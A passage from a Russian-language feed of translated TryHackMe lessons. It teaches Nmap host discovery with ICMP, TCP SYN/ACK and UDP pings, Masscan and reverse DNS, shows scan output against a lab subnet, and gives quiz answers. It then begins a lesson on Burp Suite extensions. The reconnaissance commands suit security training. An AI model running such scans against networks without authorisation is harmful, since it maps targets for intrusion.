  &lt;p id=&quot;qXvl&quot;&gt;Результаты сканирования показывают, что активны 8 хостов, а также их MAC-адреса. Как правило, мы не ожидаем узнать MAC-адреса целевых устройств, если они не находятся в той же подсети, что и наша система. Приведенные выше данные указывают на то, что Nmap не потребовалось отправлять ICMP-пакеты, поскольку он подтвердил активность этих хостов на основе полученных ARP-ответов.&lt;/p&gt;
  &lt;p id=&quot;vbZc&quot;&gt;Мы повторим описанное выше сканирование; однако на этот раз мы будем сканировать с системы, находящейся в другой подсети. Результаты будут аналогичными, но без MAC-адресов.&lt;/p&gt;
  &lt;p id=&quot;oOIR&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;qaik&quot;&gt;pentester@TryHackMe$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:16 EEST
Nmap scan report for 10.10.68.50
Host is up (0.12s latency).
Nmap scan report for 10.10.68.52
Host is up (0.12s latency).
Nmap scan report for 10.10.68.77
Host is up (0.11s latency).
Nmap scan report for 10.10.68.110
Host is up (0.11s latency).
Nmap scan report for 10.10.68.140
Host is up (0.11s latency).
Nmap scan report for 10.10.68.142
Host is up (0.11s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap scan report for 10.10.68.222
Host is up (0.11s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 8.26 seconds&lt;/pre&gt;
  &lt;p id=&quot;QQoN&quot;&gt;Если вы проанализируете сетевые пакеты с помощью такого инструмента, как Wireshark, вы увидите нечто похожее на изображение ниже. Вы можете заметить, что у нас есть один исходный IP-адрес в другой подсети, чем целевая подсеть, и мы отправляем запросы ICMP echo всем IP-адресам в целевой подсети, чтобы узнать, кто ответит.&lt;/p&gt;
  &lt;figure id=&quot;h8Oh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/0fa352ccc303a6e840929ab4a21848b1.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Epue&quot;&gt;Поскольку запросы ICMP echo обычно блокируются, вы также можете рассмотреть запросы ICMP Timestamp или ICMP Address Mask, чтобы определить, находится ли система в сети. Nmap использует запрос временной метки (ICMP Type 13) и проверяет, получит ли он ответ с временной меткой (ICMP Type 14). Добавление этой  &lt;code&gt;-PP&lt;/code&gt;опции указывает Nmap использовать запросы ICMP временной метки. Как показано на рисунке ниже, вы ожидаете ответа от активных хостов.&lt;/p&gt;
  &lt;figure id=&quot;7y5v&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/06443faaa41a349ff46732d60e2e3bcd.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UULc&quot;&gt;В следующем примере мы запускаем команду &lt;code&gt;nmap -PP -sn MACHINE_IP/24&lt;/code&gt;для обнаружения компьютеров, находящихся в сети в целевой подсети.&lt;/p&gt;
  &lt;p id=&quot;ladS&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;17SB&quot;&gt;pentester@TryHackMe$ sudo nmap -PP -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:06 EEST
Nmap scan report for 10.10.68.50
Host is up (0.13s latency).
Nmap scan report for 10.10.68.52
Host is up (0.25s latency).
Nmap scan report for 10.10.68.77
Host is up (0.14s latency).
Nmap scan report for 10.10.68.110
Host is up (0.14s latency).
Nmap scan report for 10.10.68.140
Host is up (0.15s latency).
Nmap scan report for 10.10.68.209
Host is up (0.14s latency).
Nmap scan report for 10.10.68.220
Host is up (0.14s latency).
Nmap scan report for 10.10.68.222
Host is up (0.14s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 10.93 seconds&lt;/pre&gt;
  &lt;p id=&quot;GKOc&quot;&gt;Аналогично предыдущему сканированию ICMP, это сканирование отправит множество запросов ICMP с временной меткой на каждый действительный IP-адрес в целевой подсети. На скриншоте Wireshark ниже вы можете увидеть, как один исходный IP-адрес отправляет пакеты ICMP на каждый возможный IP-адрес для обнаружения работающих хостов.&lt;/p&gt;
  &lt;figure id=&quot;3SPQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/61ddb58cf7ffb3472f12388ff3ac3f4b.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RGCn&quot;&gt;Аналогично, Nmap использует запросы маски адреса (ICMP типа 17) и проверяет, получает ли он ответ с маской адреса (ICMP типа 18). Это сканирование можно включить с помощью опции &lt;code&gt;-PM&lt;/code&gt;. Как показано на рисунке ниже, ожидается, что активные хосты будут отвечать на запросы ICMP с маской адреса.&lt;/p&gt;
  &lt;figure id=&quot;pGOl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/14c31c66e002e2f50b0f8525c8d8e456.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ePdF&quot;&gt;В попытке обнаружить активные хосты с помощью запросов ICMP-адресной маски мы запускаем команду &lt;code&gt;nmap -PM -sn MACHINE_IP/24&lt;/code&gt;. Хотя предыдущие сканирования показали, что активны как минимум 8 хостов, это сканирование не дало результатов. Причина в том, что целевая система или межсетевой экран на маршруте блокируют этот тип ICMP-пакетов. Поэтому важно изучить несколько подходов для достижения одного и того же результата. Если блокируется один тип пакетов, мы всегда можем выбрать другой для обнаружения целевой сети и служб.&lt;/p&gt;
  &lt;p id=&quot;C3xM&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;jBFo&quot;&gt;pentester@TryHackMe$ sudo nmap -PM -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:13 EEST
Nmap done: 256 IP addresses (0 hosts up) scanned in 52.17 seconds&lt;/pre&gt;
  &lt;p id=&quot;Htzy&quot;&gt;Хотя мы не получили никакого ответа и не смогли определить, какие хосты были в сети, важно отметить, что в ходе сканирования были отправлены запросы ICMP с маской адреса на каждый действительный IP-адрес, и ожидался ответ. Каждый запрос ICMP был отправлен дважды, как показано на скриншоте ниже.&lt;/p&gt;
  &lt;figure id=&quot;kS6W&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8281b22c8eff2c0e09cef3d81c9d299a.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;paoC&quot;&gt;Вопрос: Какая опция необходима, чтобы указать Nmap использовать метку времени ICMP для обнаружения активных хостов?&lt;/p&gt;
    &lt;p id=&quot;VgTU&quot;&gt;Ответ: -PP&lt;/p&gt;
    &lt;p id=&quot;tTsT&quot;&gt;Вопрос: Какая опция необходима, чтобы указать Nmap использовать маску ICMP-адреса для обнаружения активных хостов?&lt;/p&gt;
    &lt;p id=&quot;Y83X&quot;&gt;Ответ: -PM&lt;/p&gt;
    &lt;p id=&quot;ACNt&quot;&gt;Вопрос: Какая опция необходима, чтобы указать Nmap использовать ICMP Echo для обнаружения активных хостов?&lt;/p&gt;
    &lt;p id=&quot;OYZq&quot;&gt;Ответ: -PE&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;5uAB&quot;&gt;Task 7. Nmap Host Discovery Using TCP and UDP &lt;/h2&gt;
  &lt;p id=&quot;BjYI&quot;&gt;&lt;strong&gt;TCP SYN Ping&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;N2pT&quot;&gt;Мы можем отправить пакет с установленным флагом SYN (синхронизация) на TCP- порт (по умолчанию 80) и дождаться ответа. Открытый порт должен ответить SYN/ACK (подтверждение); закрытый порт приведет к RST (сброс). В этом случае мы проверяем только наличие ответа, чтобы определить, активен ли хост. Конкретное состояние порта здесь не имеет значения. Рисунок ниже напоминает о том, как обычно работает трехстороннее рукопожатие TCP .&lt;/p&gt;
  &lt;figure id=&quot;k5ux&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23e7f481f78de8d3e89ef845b747002d.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gUF0&quot;&gt;Если вы хотите, чтобы Nmap использовал TCP SYN ping, вы можете сделать это с помощью опции, &lt;code&gt;-PS&lt;/code&gt;за которой следует номер порта, диапазон, список или их комбинация. Например, &lt;code&gt;-PS21&lt;/code&gt;будет нацелен на порт 21, в то время как &lt;code&gt;-PS21-25&lt;/code&gt;будет нацелен на порты 21, 22, 23, 24 и 25. Наконец, &lt;code&gt;-PS80,443,8080&lt;/code&gt;будет нацелен на три порта: 80, 443 и 8080.&lt;/p&gt;
  &lt;p id=&quot;v5M4&quot;&gt;Привилегированные пользователи (root и sudo) могут отправлять пакеты TCP SYN и не обязаны завершать трехстороннее рукопожатие TCP, даже если порт открыт, как показано на рисунке ниже. Непривилегированные пользователи вынуждены завершать трехстороннее рукопожатие, если порт открыт.&lt;/p&gt;
  &lt;figure id=&quot;8SfT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/168d48701c5f872cf1930e08b32bcd6f.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MnPV&quot;&gt;Мы запустим &lt;code&gt;nmap -PS -sn MACHINE_IP/24&lt;/code&gt;сканирование целевой подсети виртуальных машин. Как показано в приведенном ниже выводе, мы обнаружили пять хостов.&lt;/p&gt;
  &lt;p id=&quot;u4ig&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;cR4K&quot;&gt;pentester@TryHackMe$ sudo nmap -PS -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
Nmap scan report for 10.10.68.121
Host is up (0.16s latency).
Nmap scan report for 10.10.68.125
Host is up (0.089s latency).
Nmap scan report for 10.10.68.134
Host is up (0.13s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 17.38 seconds&lt;/pre&gt;
  &lt;p id=&quot;NwZk&quot;&gt;Давайте подробнее рассмотрим, что происходило за кулисами, изучив сетевой трафик в Wireshark на рисунке ниже. Технически говоря, поскольку мы не указывали никаких TCP-портов для использования в сканировании TCP ping, Nmap использовал TCP-порт по умолчанию, 80. Ожидается, что любая служба, прослушивающая порт 80, ответит, косвенно указывая на то, что хост находится в сети.&lt;/p&gt;
  &lt;figure id=&quot;KVyd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/e580a3279be3798ddb78f61a9ee21587.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2HRU&quot;&gt;&lt;strong&gt;TCP ACK Пинг&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;NFHq&quot;&gt;Как вы уже догадались, это отправляет пакет с установленным флагом ACK. Для этого необходимо запускать Nmap от имени привилегированного пользователя. Если вы попытаетесь сделать это от имени непривилегированного пользователя, Nmap попытается выполнить трехстороннее рукопожатие.&lt;/p&gt;
  &lt;p id=&quot;VjRT&quot;&gt;По умолчанию используется порт 80. Синтаксис аналогичен TCP SYN ping. &lt;code&gt;-PA&lt;/code&gt;должен сопровождаться номером порта, диапазоном номеров портов, списком или их комбинацией. Например, рассмотрим  &lt;code&gt;-PA21&lt;/code&gt;, &lt;code&gt;-PA21-25&lt;/code&gt;и &lt;code&gt;-PA80,443,8080&lt;/code&gt;. Если порт не указан, будет использоваться порт 80.&lt;/p&gt;
  &lt;p id=&quot;h3UU&quot;&gt;На следующем рисунке показано, что любой TCP-пакет с установленным флагом ACK должен получить ответ в виде TCP-пакета с &lt;code&gt;RST&lt;/code&gt;установленным флагом. Целевой хост отвечает с &lt;code&gt;RST&lt;/code&gt;установленным флагом, поскольку TCP-пакет с флагом ACK не является частью какого-либо текущего соединения. Ожидаемый ответ используется для определения того, активен ли целевой хост.&lt;/p&gt;
  &lt;figure id=&quot;5wzL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/db5ab44a8c700c4ab0603e85e456040d.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;z7QF&quot;&gt;В этом примере мы запускаем &lt;code&gt;sudo nmap -PA -sn MACHINE_IP/24&lt;/code&gt;проверку доступности хостов в подсети целевого объекта. Мы видим, что сканирование TCP ACK ping обнаружило пять хостов как активных.&lt;/p&gt;
  &lt;p id=&quot;cTIj&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;KAV7&quot;&gt;pentester@TryHackMe$ sudo nmap -PA -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:46 EEST
Nmap scan report for 10.10.68.52
Host is up (0.11s latency).
Nmap scan report for 10.10.68.121
Host is up (0.12s latency).
Nmap scan report for 10.10.68.125
Host is up (0.10s latency).
Nmap scan report for 10.10.68.134
Host is up (0.10s latency).
Nmap scan report for 10.10.68.220
Host is up (0.10s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 29.89 seconds&lt;/pre&gt;
  &lt;p id=&quot;WmaG&quot;&gt;Если мы взглянем на сетевой трафик, как показано на рисунке ниже, мы обнаружим множество пакетов с установленным флагом ACK, отправленных на порт 80 целевых систем. Nmap отправляет каждый пакет дважды. Системы, которые не отвечают, находятся в автономном режиме или недоступны.&lt;/p&gt;
  &lt;figure id=&quot;0TNM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/6ccdba7337684b8e8f532a23c5259ffc.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iAHb&quot;&gt;&lt;strong&gt;UDP Пинг&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Mk9Z&quot;&gt;Наконец, мы можем использовать UDP для определения того, находится ли хост в сети. В отличие от TCP SYN ping, отправка UDP-пакета на открытый порт, как правило, не приводит к ответу. Однако, если мы отправим UDP-пакет на закрытый UDP-порт, мы ожидаем получить ICMP-пакет &amp;quot;порт недоступен&amp;quot;; это указывает на то, что целевая система активна и доступна.&lt;/p&gt;
  &lt;p id=&quot;VjpB&quot;&gt;На следующем рисунке показан UDP-пакет, отправленный на открытый UDP-порт, который не вызывает никакой реакции. Однако отправка UDP-пакета на любой закрытый UDP-порт может вызвать реакцию, косвенно указывающую на то, что целевой объект находится в сети.&lt;/p&gt;
  &lt;figure id=&quot;7eYE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/1b827ef60c39619e281c4ca51a6d57b6.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;gSJl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/c8b2d403667487322058619e561186d2.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wvfZ&quot;&gt;Синтаксис для указания портов аналогичен синтаксису TCP SYN ping и TCP ACK ping; Nmap использует &lt;code&gt;-PU&lt;/code&gt;для UDP ping. В следующем примере мы выполняем сканирование UDP и обнаруживаем пять активных хостов.&lt;/p&gt;
  &lt;p id=&quot;T3Ma&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;eyz5&quot;&gt;pentester@TryHackMe$ sudo nmap -PU -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
Nmap scan report for 10.10.68.121
Host is up (0.10s latency).
Nmap scan report for 10.10.68.125
Host is up (0.14s latency).
Nmap scan report for 10.10.68.134
Host is up (0.096s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 9.20 seconds&lt;/pre&gt;
  &lt;p id=&quot;HVdC&quot;&gt;Давайте рассмотрим сгенерированные UDP-пакеты. На следующем скриншоте Wireshark мы видим, что Nmap отправляет UDP-пакеты на UDP-порты, которые, скорее всего, закрыты. На изображении ниже показано, что Nmap использует необычный UDP-порт для запуска ошибки ICMP «недоступен адрес назначения (порт недоступен)».&lt;/p&gt;
  &lt;figure id=&quot;Ez7E&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/2417b8b03f00fe5f589a08d9e6e62209.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GDRF&quot;&gt;&lt;strong&gt;Масскан&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;uApl&quot;&gt;В качестве дополнительной информации следует отметить, что Masscan использует аналогичный подход для обнаружения доступных систем. Однако, чтобы быстро завершить сканирование сети, Masscan довольно агрессивно генерирует пакеты. Синтаксис довольно похож:  &lt;code&gt;-p&lt;/code&gt;за ним может следовать номер порта, список или диапазон. Рассмотрим следующие примеры:&lt;/p&gt;
  &lt;ul id=&quot;NGRB&quot;&gt;
    &lt;li id=&quot;FfqU&quot;&gt;&lt;code&gt;masscan MACHINE_IP/24 -p443&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;jLP4&quot;&gt;&lt;code&gt;masscan MACHINE_IP/24 -p80,443&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;IwIU&quot;&gt;&lt;code&gt;masscan MACHINE_IP/24 -p22-25&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;gSJs&quot;&gt;&lt;code&gt;masscan MACHINE_IP/24 ‐‐top-ports 100&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;h9q3&quot;&gt;Masscan не установлен на устройстве &lt;code&gt;AttackBox&lt;/code&gt;; однако его можно установить с помощью команды &lt;code&gt;apt install masscan&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;yGhX&quot;&gt;Вопрос: Для какого вида сканирования TCP ping не требуется привилегированная учетная запись?&lt;/p&gt;
    &lt;p id=&quot;PM2D&quot;&gt;Ответ: TCP SYN Ping&lt;/p&gt;
    &lt;p id=&quot;xWtF&quot;&gt;Вопрос: Для какого вида сканирования TCP ping требуется привилегированная учетная запись?&lt;/p&gt;
    &lt;p id=&quot;o1HZ&quot;&gt;Ответ: TCP ACK Ping&lt;/p&gt;
    &lt;p id=&quot;JQR2&quot;&gt;Вопрос: Какую опцию нужно добавить в Nmap, чтобы запустить сканирование TCP/SYN ping на порту telnet?&lt;/p&gt;
    &lt;p id=&quot;6okM&quot;&gt;Ответ: -PS23&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;pTTy&quot;&gt;Task 8. Using Reverse-DNS Lookup &lt;/h2&gt;
  &lt;p id=&quot;oBp7&quot;&gt;По умолчанию Nmap использует обратные DNS-запросы к онлайн-хостам. Поскольку имена хостов могут многое рассказать, этот шаг может быть полезным. Однако, если вы не хотите отправлять такие DNS- запросы, вы можете &lt;code&gt;-n&lt;/code&gt;пропустить этот шаг.&lt;/p&gt;
  &lt;p id=&quot;jrbM&quot;&gt;По умолчанию Nmap выполняет поиск работающих хостов; однако вы можете использовать опцию &lt;code&gt;-R&lt;/code&gt;для запроса DNS-сервера даже для неработающих хостов. Если вы хотите использовать конкретный DNS-сервер, вы можете добавить соответствующую  &lt;code&gt;--dns-servers DNS_SERVER&lt;/code&gt; опцию.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;m9ir&quot;&gt;Вопрос: Мы хотим, чтобы Nmap выполнил обратный DNS-запрос для всех возможных хостов в подсети, надеясь получить некоторую информацию из имен. Какую опцию нам следует добавить?&lt;/p&gt;
    &lt;p id=&quot;dAdD&quot;&gt;Ответ: -R&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;GfM1&quot;&gt;Task 9. Summary&lt;/h2&gt;
  &lt;p id=&quot;Uw4f&quot;&gt;Пройдя это задание, вы узнали, как ARP , ICMP, TCP и UDP могут обнаруживать активные хосты. Любой ответ от хоста указывает на то, что он находится в сети. Ниже приведено краткое описание параметров командной строки Nmap , которые мы рассмотрели.&lt;/p&gt;
  &lt;figure id=&quot;F04w&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e2/e6/e2e640ee-a91c-4818-8027-3f67510f8b9e.png&quot; width=&quot;1146&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;Gm56&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_45</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_45?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 41. Burp Suite: Extensions</title><published>2026-03-04T08:25:48.371Z</published><updated>2026-03-04T08:25:48.371Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/1b/bc/1bbcf10a-3cfe-4f58-9dc5-66d0242e641f.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/89/35/89351f4f-4242-480b-ba91-308feb902cff.jpeg&quot;&gt;Узнайте, как использовать расширения для расширения функциональности Burp Suite.</summary><content type="html">
  &lt;p id=&quot;CyzY&quot;&gt;Узнайте, как использовать расширения для расширения функциональности Burp Suite.&lt;/p&gt;
  &lt;figure id=&quot;9UJn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/89/35/89351f4f-4242-480b-ba91-308feb902cff.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;hgZC&quot;&gt;&lt;strong&gt;Задание 1. Введение&lt;/strong&gt;&lt;/h2&gt;
  &lt;h4 id=&quot;OTV8&quot;&gt;Добро пожаловать в комнату расширения Burp Suite!&lt;/h4&gt;
  &lt;p id=&quot;zAX0&quot;&gt;В этой комнате мы рассмотрим модульные аспекты Burp Suite , сосредоточившись на его открытой функциональности, которая позволяет разработчикам создавать дополнительные модули для фреймворка.&lt;/p&gt;
  &lt;figure id=&quot;Kx5Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TBUU&quot;&gt;Хотя разработка модулей Burp выходит за рамки данного модуля, мы кратко рассмотрим документацию по API и обсудим типичный процесс добавления новых модулей с помощью Burp Suite &lt;strong&gt;BApp Store&lt;/strong&gt; .&lt;/p&gt;
  &lt;figure id=&quot;4Q5L&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uupR&quot;&gt;Для прохождения этой комнаты вам не понадобится целевой компьютер, но убедитесь, что у вас есть доступ к Burp Suite . Если вы используете AttackBox, убедитесь, что он запущен, нажав синюю кнопку &lt;strong&gt;«Запустить AttackBox»&lt;/strong&gt; в правом верхнем углу комнаты. Давайте погрузимся в захватывающий мир расширений и расширяемости Burp Suite !&lt;/p&gt;
  &lt;p id=&quot;WCpe&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;lgiK&quot;&gt;&lt;strong&gt;Задание 2. The Extensions Interface&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;S2cV&quot;&gt;Интерфейс «Расширения» в Burp Suite предоставляет обзор расширений, загруженных в инструмент. Давайте рассмотрим различные компоненты этого интерфейса:&lt;/p&gt;
  &lt;figure id=&quot;eMjc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/499907ccb192f8deb8f473accd967df9.png&quot; width=&quot;1094&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;GgK4&quot;&gt;
    &lt;li id=&quot;v7Ug&quot;&gt;&lt;strong&gt;Список расширений&lt;/strong&gt; : В верхнем поле отображается список расширений, установленных в Burp Suite для текущего проекта. Вы можете активировать или деактивировать отдельные расширения.&lt;/li&gt;
    &lt;li id=&quot;7vd2&quot;&gt;&lt;strong&gt;Управление расширениями&lt;/strong&gt; : В левой части интерфейса расширений расположены параметры для управления расширениями:&lt;/li&gt;
    &lt;ul id=&quot;FqmH&quot;&gt;
      &lt;li id=&quot;Bmo6&quot;&gt;&lt;strong&gt;Добавить&lt;/strong&gt; : С помощью этой кнопки вы можете установить новые расширения из файлов на вашем диске. Эти файлы могут представлять собой модули, написанные вами самостоятельно, или модули, полученные из внешних источников, которые недоступны в официальном магазине BApp.&lt;/li&gt;
      &lt;li id=&quot;Cv3z&quot;&gt;&lt;strong&gt;Удалить&lt;/strong&gt; : Эта кнопка позволяет удалить выбранные расширения из Burp Suite .&lt;/li&gt;
      &lt;li id=&quot;0jWj&quot;&gt;&lt;strong&gt;Кнопки «Вверх/Вниз»&lt;/strong&gt; : Эти кнопки управляют порядком отображения установленных расширений. Порядок определяет последовательность вызова расширений при обработке трафика. Расширения применяются в порядке убывания, начиная с верхней части списка и двигаясь вниз. Порядок имеет важное значение, особенно при работе с расширениями, изменяющими запросы, поскольку некоторые из них могут конфликтовать или мешать другим.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;81Sb&quot;&gt;&lt;strong&gt;Подробности, вывод и ошибки&lt;/strong&gt; : В нижней части окна расположены разделы для выбранного в данный момент расширения:&lt;/li&gt;
    &lt;ul id=&quot;oH4z&quot;&gt;
      &lt;li id=&quot;e31P&quot;&gt;&lt;strong&gt;Подробности&lt;/strong&gt; : В этом разделе представлена ​​информация о выбранном расширении, такая как его название, версия и описание.&lt;/li&gt;
      &lt;li id=&quot;9Yh5&quot;&gt;&lt;strong&gt;Вывод&lt;/strong&gt; : Расширения могут выводить информацию во время своего выполнения, и в этом разделе отображаются все соответствующие выходные данные или результаты.&lt;/li&gt;
      &lt;li id=&quot;FpKJ&quot;&gt;&lt;strong&gt;Ошибки&lt;/strong&gt; : Если во время выполнения расширения возникнут какие-либо ошибки, они будут отображены в этом разделе. Это может быть полезно для отладки и устранения неполадок, связанных с расширением.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;dIQW&quot;&gt;Вкратце, интерфейс расширений в Burp Suite позволяет пользователям управлять установленными расширениями и отслеживать их состояние, активировать или деактивировать для конкретных проектов, а также просматривать важные сведения, результаты и ошибки, связанные с каждым расширением. Использование расширений превращает Burp Suite в мощную и настраиваемую платформу для различных задач тестирования безопасности и оценки веб-приложений.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;djhj&quot;&gt;Вопрос: Расширения вызываются в порядке возрастания (A) или убывания (D)?&lt;/p&gt;
    &lt;p id=&quot;8bno&quot;&gt;Ответ: D&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;JD90&quot;&gt;&lt;strong&gt;Задание 3. The BApp Store&lt;/strong&gt;&lt;/h2&gt;
